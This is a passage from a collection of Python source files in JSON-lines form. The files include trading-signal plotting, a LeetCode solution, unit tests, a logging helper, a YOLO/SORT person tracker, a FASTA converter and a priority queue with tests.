signal.append(np.nan)\r\n previous = value\r\n return signal\r\ndef mfn_above90(mfn,price):\r\n import numpy as np\r\n signal = []\r\n previous = -1.0\r\n for date,value in mfn.iteritems():\r\n if value < 90 and previous >= 90:\r\n signal.append(price[date]*1.01)\r\n else:\r\n signal.append(np.nan)\r\n previous = value\r\n return signal\r\n\r\nlow_signal = mfn_below90(df['mfm'], df['Close'])\r\nhigh_signal = mfn_above90(df['mfm'], df['Close'])\r\n\r\napd =[ mpf.make_addplot(low_signal, type='scatter', markersize=100, marker='^'),\r\n mpf.make_addplot(high_signal, type='scatter', markersize=100, marker='v'),\r\n mpf.make_addplot((df['mfm']), panel=1, color='g')\r\n ]\r\nmpf.plot(df, type='candle', addplot=apd)\r\n\r\n\r\ndef signal(df, price, buy, sell):\r\n for i in range(len(df)):\r\n\r\n if df[i, price] < low_signal and df[i - 1, price] > low_signal and df[i - 2, price] > low_signal:\r\n df[i, buy] = 1\r\n\r\n if df[i, price] > high_signal and df[i - 1, price] < high_signal and df[i - 2, price] < high_signal:\r\n df[i, sell] = -1","sub_path":"mfm1.py","file_name":"mfm1.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"524444016","text":"# Name: 错误的集合\n# Level: 简单\n# Start Time: 2020-02-23\n# End Time: 2019-02-23\n\n\nclass Solution:\n def findErrorNums(self, nums: List[int]) -> List[int]:\n \"\"\"\n 大体思路\n ------\n 假设数组nums=[1, 2, 3, 4, 5, 4, 7, 8, 9],很明显重复的数字是4而缺失的数字是6;\n 而正确的数组是correct_nums=[1, 2, 3, 4, 5, 6, 7, 8, 9],要求出缺失的数字,\n 首先用set函数去除nums中的4再两数组做差;同样地,nums减去set(nums)即为重复的数字。\n \"\"\"\n\n correct_nums = [i for i in range(1, len(nums)+1)]\n\n s = sum(set(nums))\n repeated_num = sum(nums) - s\n missing_num = sum(correct_nums) - s\n\n return [repeated_num, missing_num]\n","sub_path":"codes/645.错误的集合/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"103948142","text":"import unittest\nimport datetime\nimport calendar\nfrom keyratios import parse_date\nfrom keyratios import KeyRatios\nfrom record import Record\n\n\nclass KeyRatiosTest(unittest.TestCase):\n\n def test_KeyRatios_class_methods(self):\n csv_mock = open('mock.csv')\n kr = KeyRatios(csv_mock, 'PSX', 'XNYS')\n\n # Check whether lines were split, parsed and dates generated.\n self.assertTrue(len(kr.lines) > 0)\n self.assertEqual(len(kr.dates), 10)\n\n # Each date should be of type of \"datetime\". The format of the date\n # is in form of YYYY-MM, but we need to change it into YYYY-MM-DD,\n # there DD is the last date of the month.\n for date in kr.dates:\n self.assertTrue(isinstance(date, datetime.datetime))\n last_month_day = calendar.monthrange(date.year, date.month)[1]\n self.assertEqual(last_month_day, date.day)\n\n # The last date should be bigger than the first one.\n last_date = kr.dates[len(kr.dates) - 1]\n first_date = kr.dates[0]\n self.assertTrue(last_date > first_date,)\n\n csv_mock.close()\n\n def test_parse_date(self):\n mock_date = parse_date('2012-12')\n real_date = datetime.datetime(2012, 12, 31)\n self.assertTrue(isinstance(mock_date, datetime.datetime))\n self.assertEqual(mock_date.year, real_date.year)\n self.assertEqual(mock_date.month, real_date.month)\n self.assertEqual(mock_date.day, real_date.day)\n\n with self.assertRaises(ValueError):\n parse_date('3132')\n\n def test_filtered_rows(self):\n csv_mock = open('mock.csv')\n kr = KeyRatios(csv_mock, 'PSX', 'XNYS')\n self.assertTrue(len(kr.filtered_data) > 0)\n self.assertEqual(kr.filtered_data[0][0][0], 'REVENUE')\n self.assertEqual(kr.filtered_data[15][0][0], 'DEBT TO EQUITY')\n csv_mock.close()\n\n def test_generated_records(self):\n csv_mock = open('mock.csv')\n kr = KeyRatios(csv_mock, 'PSX', 'XNYS')\n self.assertTrue(isinstance(kr.records[0], Record))\n csv_mock.close()\n\n def test_data_transform_with_date(self):\n mock_data_points = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n dates = []\n year_start = 2006\n # Create list of dates.\n for i in range(10):\n date = datetime.datetime(year_start + i, 12, 31)\n dates.append(date)\n # Connect dates and data points.\n data_points_with_date = []\n i = 0\n for dp in mock_data_points:\n if dp == '' or dp == None:\n i += 1\n continue\n point_with_date = (dates[i], dp)\n data_points_with_date.append(point_with_date)\n i += 1\n\n\nif __name__ == '__main__':\n unittest.main(warnings='ignore')\n","sub_path":"keyratios_test.py","file_name":"keyratios_test.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"408290019","text":"\"\"\"\n Log tools\n ==========\n\n Contains multipurpose utilities for interfacing with the logging\n facilities\n\n .. Copyright:\n Wirepas Oy licensed under Apache License, Version 2.0\n See file LICENSE for full license details.\n\"\"\"\nimport sys\nimport logging\n\n\ndef setup_log(\n module,\n level=\"debug\",\n log_format=\"%(asctime)s | [%(levelname)s] %(name)s: %(message)s\",\n):\n \"\"\"\n Prepares logging.\n\n Setups Python's logging and by default send up to LEVEL\n logs to stdout.\n\n Args:\n level - logging level to enable.\n \"\"\"\n\n logger = logging.getLogger(module)\n level = \"{0}\".format(level.upper())\n\n try:\n logger.setLevel(eval(\"logging.{0}\".format(level)))\n except:\n logger.setLevel(logging.DEBUG)\n\n formatter = logging.Formatter(log_format)\n\n # configures stdout\n h = logging.StreamHandler(stream=sys.stdout)\n h.setFormatter(formatter)\n\n logger.addHandler(h)\n\n return logger\n","sub_path":"python_transport/wirepas_gateway/utils/log_tools.py","file_name":"log_tools.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"479211317","text":"#!/usr/bin/python\n# -- coding: utf-8 --\n\nclass Person:\n \"\"\" Information relative to a person wanting to leave on exchange.\n \"\"\"\n\n def __init__(self, name, expaId, email, dob, phone, sud, link, status, managers=None, trello=False, trelloId=None):\n \"\"\"\n Initializes the instance of the representation of a person in the database\n\n :param name:\n :param expaId:\n :param email:\n :param dob:\n :param phone:\n :param sud:\n :param link:\n :param status:\n :param managers:\n :param trello:\n :param trelloId:\n \"\"\"\n\n self.name = name\n self.expaId = id\n self.email = email\n self.dob = dob\n self.phone = phone\n self.sud = sud\n self.link = link\n self.status = status\n self.managers = managers\n self.trello = trello\n self.trelloId = trelloId\n\n\n def __eq__(self, other):\n \"\"\"\n Equality evaluator surcharge\n\n :param other: the other person being compared to\n :return: True or False, self is equal to other ?\n \"\"\"\n return self.id == other.id\n\n def __repr__(self):\n\n return 'Nom : {} | SUD : {} | Status : {}'.format(self.name, self.sud, self.status)","sub_path":"database/person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"304615789","text":"import config as cf\n\nimport numpy as np\nimport math\n\ndef driftVelocity():\n T = cf.LAr_Temperature\n E = cf.E_drift\n\n T_walk = 90.371 #K\n walk = [-0.01481, -0.0075, 0.141, 12.4, 1.627, 0.317]\n icarus = [-0.03229, 6.231, -10.62, 12.74, -9.112, 2.83]\n\n vd = 0.\n dt = T-T_walk\n\n if(E > 0.5):\n vd = (walk[0]*dt+1.) * (walk[2]*E*math.log(1.+walk[3]/E)+walk[4]*pow(E,walk[5]))+walk[1]*dt\n\n else:\n for p in range(len(icarus)):\n vd += icarus[p]*pow(E,p)\n Etmp = 0.5\n tmp1 = 0.\n for p in range(len(icarus)): \n tmp1 += icarus[p]*pow(Etmp,p)\n tmp2 = (walk[0]*dt+1.) * (walk[2]*Etmp*math.log(1.+walk[3]/Etmp)+walk[4]*pow(Etmp,walk[5]))+walk[1]*dt\n \n vd = vd * tmp2/tmp1\n\n return vd # in mm/us\n \n","sub_path":"lar_param.py","file_name":"lar_param.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"261107942","text":"#!/usr/bin/env python3\nimport sys\nimport re\n\n\ndef argsCheck(numArgs):\n if len(sys.argv) != numArgs:\n print(\"Convert multiline FASTA to single line FASTA\\n\")\n print(\"Usage: \" + sys.argv[0] + \" [sequence.fasta]\")\n exit(1)\n\n\nargsCheck(2)\n\ninput_file = sys.argv[1]\noutput_file = input_file\n\nwith open(input_file, \"r\") as fasta_file:\n fasta_data = fasta_file.read()\n sequences = re.findall(\">[^>]+\", fasta_data)\n\nwith open(output_file, \"w\") as fasta:\n for i in sequences:\n header, seq = i.split(\"\\n\", 1)\n header += \"\\n\"\n seq = seq.replace(\"\\n\", \"\") + \"\\n\"\n fasta.write(header + seq)\n","sub_path":"python/08_one_liner.py","file_name":"08_one_liner.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"107591160","text":"#\n# Time Complexity = O(n)\n# Space Complexity = O(1)\n#\n\ndef delete_node(node):\n if not node:\n return\n while node.next:\n node.data = node.next.data\n prev = node\n node = node.next\n prev.next = None\n","sub_path":"Problem3.py","file_name":"Problem3.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"539933310","text":"\n\nfrom xai.brain.wordbase.nouns._aim import _AIM\n\n#calss header\nclass _AIMING(_AIM, ):\n\tdef __init__(self,): \n\t\t_AIM.__init__(self)\n\t\tself.name = \"AIMING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"aim\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_aiming.py","file_name":"_aiming.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"599899402","text":"import json\nfrom vdom_trace import Trace\nimport managers\n\n#try:\nif True:\n\tkeys = session.get(\"rules_keysList\",None)\n\n\tw_AclSubjects \t= session[\"w_AclSubjects\"]\n\tw_AclRules \t\t= session[\"w_AclRules\"]\n\n\tacl_object \t= w_AclSubjects.get_acl_object()\n\tsubject\t\t= w_AclRules.get_selected_subject()\n\n\tfor rule in acl_object.rules(subject=subject):\n\t\trule.delete() if rule.subject.guid == subject.guid else None\n\n\tfor rule_key in keys:\n\t\tacl_object.add_rule(subject=subject, access=rule_key)\n\n\tacl_object.save()\n\n\tw_AclSubjects.render(dt_subjects = self.cnt_acls.cnt_subjects.dt_subjects)\n\n#except Exception, ex:\n#\tfor key in session.keys():\n#\t\tdel session[key]\n#\tsession[ \"error\" ] = unicode(\"Server encountered an error. Please, contact with your administrator or check the information log.\")\n#\tmanagers.log_manager.info_bug(\n#\t\tu\"ProAdmin error: %s\" % Trace.exception_trace(5),\n#\t\tu\"ProAdmin %s\" % self.name\n#\t)\n#\tself.action(\"goTo\",[\"/login\"])\n","sub_path":"Pages/rules/Actions-rules/apply_rules.py","file_name":"apply_rules.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"145735311","text":"# coding: utf-8\n\"\"\"\n@author: fornax\n\"\"\"\nfrom __future__ import print_function, division\nimport os\nimport numpy as np\nimport pandas as pd\n\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\nos.sys.path.append(os.path.dirname(os.getcwd()))\nimport prepare_data1 as prep\nDATA_PATH = os.path.join('..', prep.DATA_PATH)\n\n\n# get ohe of columns\ndef get_ohe(example, column_names):\n return (column_names == example).astype(int)\n\n\n# load data\nprint('Loading FTL data...')\nftl_file_path = os.path.join(DATA_PATH, 'ftl.csv')\nftl_df = pd.read_csv(ftl_file_path)\n\n# apply one-hot encoding to columns\nprint('One-hot encoding columns...')\npoint_types = np.unique(ftl_df.type)\nohe_point_type_cols = ['is_{}'.format(pt.lower()) for pt in point_types]\nftl_df[ohe_point_type_cols] = ftl_df.type.apply(lambda x: pd.Series(get_ohe(x, point_types)))\n\npoint_types = np.append(np.unique(ftl_df.type), ['flagcomms'])\nohe_point_type_cols = np.append(ohe_point_type_cols, ['flagcomms'])\nftl_df['flagcomms'] = ftl_df.flagcomms.apply(lambda x: 1 if x else 0)\n\n# save processed FTL data\nprint('Saving processed FTL data...')\nprocessed_file_path = os.path.join(DATA_PATH, 'ftl_processed.csv')\nftl_df.to_csv(processed_file_path)","sub_path":"preprocessing/prepare_ftl.py","file_name":"prepare_ftl.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"177963208","text":"# -*- encoding: utf-8 -*-\n# cucumber v0.1.0\n# Python files dirs manage\n# Copyright © 2019, Mihas Davidovich.\n# See /LICENSE for licensing information.\n\n\"\"\"\nMain routine of cucumber.\n\n:Copyright: © 2019, Mihas Davidovich.\n:License: BSD (see /LICENSE).\n\"\"\"\n\n\nimport sys\nfrom loguru import logger\n\nfrom PyQt5.QtWidgets import QApplication\n\nfrom core.gov_files import FilesCrt\nfrom core.main_window import AppWindow\nfrom core.db_choice import DBChoice\n\n\n__all__ = ('main',)\n\n_excepthook = sys.excepthook\n\n\ndef my_exception_hook(exctype, value, traceback):\n # Print the error and traceback\n print(exctype, value, traceback)\n # Call the normal Exception hook after\n _excepthook(exctype, value, traceback)\n sys.exit(1)\n\nsys.excepthook = my_exception_hook\n\n\ndef main():\n from PyQt5.QtCore import pyqtRemoveInputHook\n\n pyqtRemoveInputHook()\n logger.add(\"cucu_{time}.log\", enqueue=True)\n\n logger.debug(\"logger add\")\n\n app = QApplication(sys.argv)\n DBChoice()\n main_window = AppWindow()\n\n _controller = FilesCrt()\n main_window.scan_files_signal.connect(_controller.on_scan_files)\n\n # when data changed on any widget\n main_window.change_data_signal.connect(_controller.on_change_data)\n\n # signal from open_dialog=dlg\n main_window.open_dialog.DB_connect_signal.connect(_controller.on_db_connection)\n\n main_window.first_open_data_base()\n\n main_window.show()\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"cucumber/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"372695454","text":"from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\n\nfrom django.forms import inlineformset_factory\nfrom material import *\n\nfrom pesquisasatisfacao.accounts.models import UserInfo, Horario, WorkSchedule, WorkScheduleItem\nfrom pesquisasatisfacao.core.models import Client\n\n\nclass RegistrationForm(forms.Form, UserCreationForm):\n base = forms.ModelChoiceField(queryset=Client.objects.filter(is_representative=True), required=False,\n label=\"Representante (Matriz ou Filial)\", )\n\n class Meta:\n model = UserInfo\n fields = (\n 'username',\n 'nomecompleto',\n 'base',\n 'horario',\n 'funcao',\n 'ctps',\n 'serie',\n )\n\n layout = Layout(\n Fieldset('Faça seu cadastro agora.', 'username',\n Row('password1', 'password2')),\n Fieldset('Dados Pessoais', 'nomecompleto',\n Row(Span12('base'),),\n Row(Span6('funcao'), Span6('horario'),),\n Row(Span4('ctps'), Span8('serie'), ),\n ))\n\n\nclass ScheduleForm(forms.ModelForm):\n\n class Meta:\n model = Horario\n fields = (\n 'description',\n 'entrance',\n 'lunch_entrance',\n 'lunch_out',\n 'exit',\n )\n\n layout = Layout(\n Fieldset('Registro de horário.', 'description',\n Row('entrance', 'lunch_entrance', 'lunch_out', 'exit')),)\n\n\nclass WorkScheduleForm(forms.ModelForm):\n # autofocus\n # period = forms.CharField(label='Período', widget=forms.TextInput(attrs={'tabindex':\"-1\"}), required=True)\n user = forms.ModelChoiceField(label='Analista',\n widget=forms.Select(attrs={'class': 'browser-default #000000 black-text',\n 'disabled': 'disabled'}),\n required=True, queryset=UserInfo.objects.select_related().all())\n\n class Meta:\n model = WorkSchedule\n fields = ('period', 'user')\n # exclude = ('user',)\n\n layout = Layout(\n Fieldset(\"Preencha com o Período\",\n Row(Span3('period'), Span9('user')),),)\n\n\nWorkScheduleItemFormSet = inlineformset_factory(WorkSchedule, WorkScheduleItem,\n # widgets={'week_day': forms.TextInput(attrs={'class': 'personal-font'}),\n # 'entrance': forms.TextInput(attrs={'class': 'personal-font'}),\n # 'lunch_entrance': forms.TextInput(\n # attrs={'class': 'personal-font'}),\n # 'lunch_out': forms.TextInput(\n # attrs={'class': 'personal-font'}),\n # 'lunch_exit': forms.TextInput(\n # attrs={'class': 'personal-font'}),\n # 'exit': forms.TextInput(\n # attrs={'class': 'personal-font'}),\n # },\n \n exclude=('id',),\n can_delete=True,\n fields=('day',\n 'week_day',\n 'entrance',\n 'lunch_entrance',\n 'lunch_out',\n 'exit'),\n extra=0)\n","sub_path":"pesquisasatisfacao/accounts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"20819023","text":"from models import *\nfrom utils import utils\nimport torch\nimport cv2\nfrom sort import *\nfrom torchvision import transforms\nimport numpy as np\nfrom det import det_model\n\nclass ObjectTrack():\n def __init__(self):\n # load weights and set defaults\n self.config_path = 'config/yolov3.cfg'\n self.weights_path = 'config/yolov3.weights'\n self.class_path = 'config/coco.names'\n self.img_size = 416\n self.conf_thres = 0.8\n self.nms_thres = 0.4\n self.horizontalDividingLine = 800\n self.personIn = 0\n self.personOut = 0\n\n # load model and put into eval mode\n self.model = Darknet(self.config_path, img_size=self.img_size)\n self.model.load_weights(self.weights_path)\n self.model.cuda()\n\n self.model.eval()\n\n self.classes = utils.load_classes(self.class_path)\n self.Tensor = torch.cuda.FloatTensor\n # self.Tensor = torch.FloatTensor\n self.mot_tracker = Sort()\n self.classes = utils.load_classes(self.class_path)\n self.persons = dict()\n self.heads = dict()\n config_file = './config/head_detect_1gpu_e2e_faster_rcnn_R-50-FPN_2x.yaml'\n weights_file = './config/model_iter99999.aug.pkl'\n self.m_det = det_model(config_file, weights_file, 1)\n\n\n print('init finished')\n\n def detect_image(self, img):\n # scale and pad image\n ratio = min(self.img_size / img.size[0], self.img_size / img.size[1])\n imw = round(img.size[0] * ratio)\n imh = round(img.size[1] * ratio)\n img_transforms = transforms.Compose([transforms.Resize((imh, imw)),\n transforms.Pad((max(int((imh - imw) / 2), 0), max(int((imw - imh) / 2), 0),\n max(int((imh - imw) / 2), 0),\n max(int((imw - imh) / 2), 0)),\n (128, 128, 128)),\n transforms.ToTensor(),\n ])\n # convert image to Tensor\n image_tensor = img_transforms(img).float()\n image_tensor = image_tensor.unsqueeze_(0)\n input_img = Variable(image_tensor.type(self.Tensor))\n # run inference on the model and get detections\n with torch.no_grad():\n detections = self.model(input_img)\n detections = utils.non_max_suppression(detections, 80, self.conf_thres, self.nms_thres)\n return detections[0]\n\n def tracker(self, imgArray):\n img = cv2.imdecode(imgArray, cv2.IMREAD_COLOR)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n pilImg = Image.fromarray(img)\n detections = self.detect_image(pilImg)\n pad_x = max(img.shape[0] - img.shape[1], 0) * (self.img_size / max(img.shape))\n pad_y = max(img.shape[1] - img.shape[0], 0) * (self.img_size / max(img.shape))\n unpad_h = self.img_size - pad_y\n unpad_w = self.img_size - pad_x\n trackerMsgs = []\n if detections is not None:\n tracked_objects = self.mot_tracker.update(detections.cpu())\n for x1, y1, x2, y2, obj_id, cls_pred in tracked_objects:\n box_h = int(((y2 - y1) / unpad_h) * img.shape[0])\n box_w = int(((x2 - x1) / unpad_w) * img.shape[1])\n y1 = int(((y1 - pad_y // 2) / unpad_h) * img.shape[0])\n x1 = int(((x1 - pad_x // 2) / unpad_w) * img.shape[1])\n cls = self.classes[int(cls_pred)]\n obj_id = int(obj_id)\n trackerMsg = {\n 'left': x1,\n 'width': box_w,\n 'top': y1,\n 'height': box_h,\n 'class': cls,\n 'objectId': obj_id\n }\n if cls == 'person':\n personCenter = box_w / 2 + x1\n if obj_id not in self.persons:\n # 如果是横向移动,横向中心\n self.persons[obj_id] = personCenter\n else:\n if self.persons[obj_id] <= self.horizontalDividingLine < personCenter:\n self.personOut += 1\n self.persons.pop(obj_id)\n elif personCenter <= self.horizontalDividingLine < self.persons[obj_id]:\n self.personIn += 1\n self.persons.pop(obj_id)\n trackerMsg['personIn'] = self.personIn\n trackerMsg['personOut'] = self.personOut\n trackerMsgs.append(trackerMsg)\n return trackerMsgs\n\n\n def traceHead(self, imgArray):\n img = cv2.imdecode(imgArray, cv2.IMREAD_COLOR)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n detections = self.m_det.infer(img)\n trackerMsgs = []\n if detections is not None:\n tracked_objects = self.mot_tracker.update(detections)\n for x1, y1, x2, y2, obj_id, cls_pred in tracked_objects:\n width = int(x2 - x1)\n height = int(y2 - y1)\n obj_id = int(obj_id)\n trackerMsg = {\n 'left': x1,\n 'width': width,\n 'top': y1,\n 'height': height,\n 'objectId': obj_id,\n 'class': int(cls_pred)\n }\n headCenter = width / 2 + x1\n if obj_id not in self.heads:\n self.heads[obj_id] = headCenter\n else:\n if self.heads[obj_id] <= self.horizontalDividingLine < headCenter:\n self.personOut += 1\n self.heads.pop(obj_id)\n elif headCenter <= self.horizontalDividingLine < self.heads[obj_id]:\n self.personIn += 1\n self.heads.pop(obj_id)\n trackerMsg['personIn'] = self.personIn\n trackerMsg['personOut'] = self.personOut\n trackerMsgs.append(trackerMsg)\n return trackerMsgs\n\nif __name__ == '__main__':\n track = ObjectTrack()\n image = Image.open('images/blueangels.jpg')\n print(track.tracker(np.asarray(image)))\n","sub_path":"ObjectTrack.py","file_name":"ObjectTrack.py","file_ext":"py","file_size_in_byte":6372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"238419003","text":"from deck import Deck\n\nclass Hand:\n def __init__(self):\n self.cards = []\n\n def receive_card(self, card):\n\n if len(self.cards) == 2:\n self.cards = []\n\n self.cards.append(card)\n\n def show(self):\n print('---HAND')\n for card in self.cards:\n card.show()\n print('---')\n\n\nif __name__ == '__main__':\n d = Deck()\n d.show()\n\n h = Hand()\n h.receive_card(d.deal_card())\n\n d.show()\n\n h.show()\n\n h.receive_card(d.deal_card())\n\n d.show()\n h.show()\n\n h.receive_card(d.deal_card())\n\n d.show()\n h.show()","sub_path":"old/latest/models/hand.py","file_name":"hand.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"282987745","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nEVALUATION.PY\n\nEvaluation Metrics\n\"\"\"\n\nimport time\nimport numpy as np\n\nfrom sklearn import model_selection\nfrom sklearn.metrics import make_scorer\nfrom sklearn.metrics import log_loss\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import precision_score\nfrom sklearn.preprocessing import label_binarize\nfrom sklearn.metrics import f1_score\nfrom sklearn.model_selection import KFold, train_test_split\nfrom sklearn import cross_validation\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.multiclass import OneVsRestClassifier\nimport matplotlib.pyplot as plt\n\n\nclass EvaluationMetrics:\n \n def __init__(self, classifier, X, y, classifier_name):\n self.classifier = classifier\n self.X = X\n self.y = y\n self.kfold = model_selection.KFold(n_splits=10)\n self.classifier_name = classifier_name\n \n def cross_validate_for_accuracy(self):\n results = model_selection.cross_val_score(self.classifier, self.X, self.y, cv=self.kfold, scoring='accuracy')\n print(\"Classifier \"+self.classifier_name+\" - Accuracy: %.10f (%.10f)\") % (results.mean(), results.std())\n \n def cross_validate_auc_roc(self):\n y = label_binarize(self.y, classes = [-1, 0, 1])\n \n n_classes = y.shape[1]\n \n X_train, X_test, y_train, y_test = train_test_split(self.X, y, test_size = 0.1, random_state = 0)\n \n onvRestClassifier = OneVsRestClassifier(self.classifier)\n y_score = onvRestClassifier.fit(X_train, y_train).decision_function(X_test)\n \n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n\n for i in range(n_classes):\n fpr[i], tpr[i], _ = roc_curve(y_test[:, i], y_score[:, i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n \n plt.figure()\n lw = 2\n \n plt.plot(fpr[0], tpr[0], color='red',lw=lw, label='Poor Wine Q (area = %0.2f)' % roc_auc[0])\n plt.plot(fpr[1], tpr[1], color='darkorange',lw=lw, label='Average Wine Q (area = %0.2f)' % roc_auc[1])\n plt.plot(fpr[2], tpr[2], color='green',lw=lw, label='Good Wine Q (area = %0.2f)' % roc_auc[2])\n \n plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.05])\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiver operating characteristic example')\n plt.legend(loc=\"lower right\")\n #plt.show()\n\n def cross_validate_precision_score(self):\n scorer = make_scorer(precision_score, average=\"micro\")\n results = model_selection.cross_val_score(self.classifier, self.X, self.y, cv=self.kfold, scoring=scorer)\n print(\"Classifier \"+self.classifier_name+\" - Precision Score: %.10f (%.10f)\") % (results.mean(), results.std())\n \n def cross_validate_confusion_matrix(self):\n \n kf = cross_validation.KFold(len(self.y), n_folds=10)\n \n self.y = np.array(self.y)\n \n for train_index, test_index in kf:\n X_train, X_test = self.X[train_index], self.X[test_index]\n y_train, y_test = self.y[train_index], self.y[test_index]\n\n self.classifier.fit(X_train, y_train)\n #print (\"Classifier \"+self.classifier_name + \" Confusion Matrix \",confusion_matrix(y_test, self.classifier.predict(X_test)))\n #print (confusion_matrix(y_test, self.classifier.predict(X_test)))\n\n def cross_validate_f1(self):\n \n results = model_selection.cross_val_score(self.classifier, self.X, self.y, cv=self.kfold, scoring='f1_micro')\n print(\"Classifier \"+self.classifier_name+\" - F1 Score: %.10f (%.10f)\") % (results.mean(), results.std())\n\n def cross_validate_recall(self):\n results = model_selection.cross_val_score(self.classifier, self.X, self.y, cv=self.kfold, scoring='recall_macro')\n print(\"Classifier \"+self.classifier_name+\" - Recall Score: %.10f (%.10f)\") % (results.mean(), results.std())\n \n def cutoff_predict(self):\n results = (self.classifier.predict_proba(self.X)[:,1] > 0.4).astype(int)\n print(\"Classifier \"+self.classifier_name+\" - Probability Calibration Function: %.10f (%.10f)\") % (results.mean(), results.std())\n\n def perform_metrics(self):\n cross_validate_confusion_matrix()\n cross_validate_precision_score()\n cross_validate_auc_roc()\n cross_validate_for_accuracy()\n cutoff_predict()\n cross_validate_f1()\n cross_validate_recall()","sub_path":"task-2/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":4630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"464015105","text":"import unittest\n\nclass Item:\n def __init__(self, val, priority):\n self.val = val\n self.priority = priority\n \n def __lt__(self, other):\n return self.priority < other.priority\n\n def __eq__(self, other):\n return self.priority == other.priority\n\n def __repr__(self):\n return \"Item(val: {}, pri: {})\".format(self.val,\n self.priority)\n\n\nclass PriorityQueue:\n\n def __init__(self):\n self.storage = []\n\n def __str__(self):\n return \"The first item entered in this list is \" + str(self.peek()) + \". There are \" + str(len(self.storage)) + \" items in this list.\"\n\n def insert(self, val, priority):\n to_insert = Item(val, priority)\n\n insert_index = 0\n while insert_index < len(self.storage):\n if self.storage[insert_index] == to_insert or self.storage[insert_index] < to_insert:\n break\n insert_index += 1\n \n self.storage.insert(insert_index, to_insert)\n\n def peek(self):\n if self.storage == []:\n raise EmptyQueueException(self.storage)\n return self.storage[-1].val\n \n def pop(self):\n if self.storage == []:\n raise EmptyQueueException(self.storage)\n return self.storage.pop().val\n\nclass EmptyQueueException(Exception):\n '''Raised when storage is empty'''\n\n def __init__(self, expression, message='Storage is empty'):\n self.expression = expression\n self.message = message\n super().__init__(self.message)\n\n def __str__(self):\n return f'{self.expression} -> {self.message}'\n\n#Handling duplicate priority now\n# class DuplicatePriorityException(Exception):\n# '''Raised when there are duplicate priority values'''\n\n# def __init__(self, expression, message='Duplicate priority values'):\n# self.expression = expression\n# self.message = message\n# super().__init__(self.message)\n \n# def __str__(self):\n# return f'{self.expression} -> {self.message}'\n\nclass Test(unittest.TestCase):\n def testSimple(self):\n pq = PriorityQueue()\n pq.insert(\"c\", 3)\n pq.insert(\"a\", 1)\n pq.insert(\"b\", 2)\n pq.insert(\"c\", 1)\n pq.insert(\"3\", 2)\n pq.insert(\"GEORGE\", 1)\n\n assert(pq.pop() == \"a\")\n assert(pq.pop() == \"c\")\n assert(pq.pop() == \"GEORGE\")\n assert(pq.pop() == \"b\")\n assert(pq.pop() == \"3\")\n assert(pq.pop() == \"c\")\n print(\"Simple test passed!\")\n\n def testEmpty(self):\n with self.assertRaises(EmptyQueueException):\n pq = PriorityQueue()\n pq.pop()\n print(\"Empty queue test passed!\")\n \n def testFloatsAndNegatives(self):\n pq = PriorityQueue()\n pq.insert(\"c\", 1)\n pq.insert(\"e\", 1.01)\n pq.insert(\"first\", -1)\n\n assert(pq.pop() == \"first\")\n assert(pq.pop() == \"c\")\n assert(pq.pop() == \"e\")\n print(\"Float test passed!\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"pq.py","file_name":"pq.py","file_ext":"py","file_size_in_byte":3065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"533054566","text":"def compute_kmp_fail(P):\n \"\"\"Utility that computes and returns KMP 'fail' list.\"\"\"\n 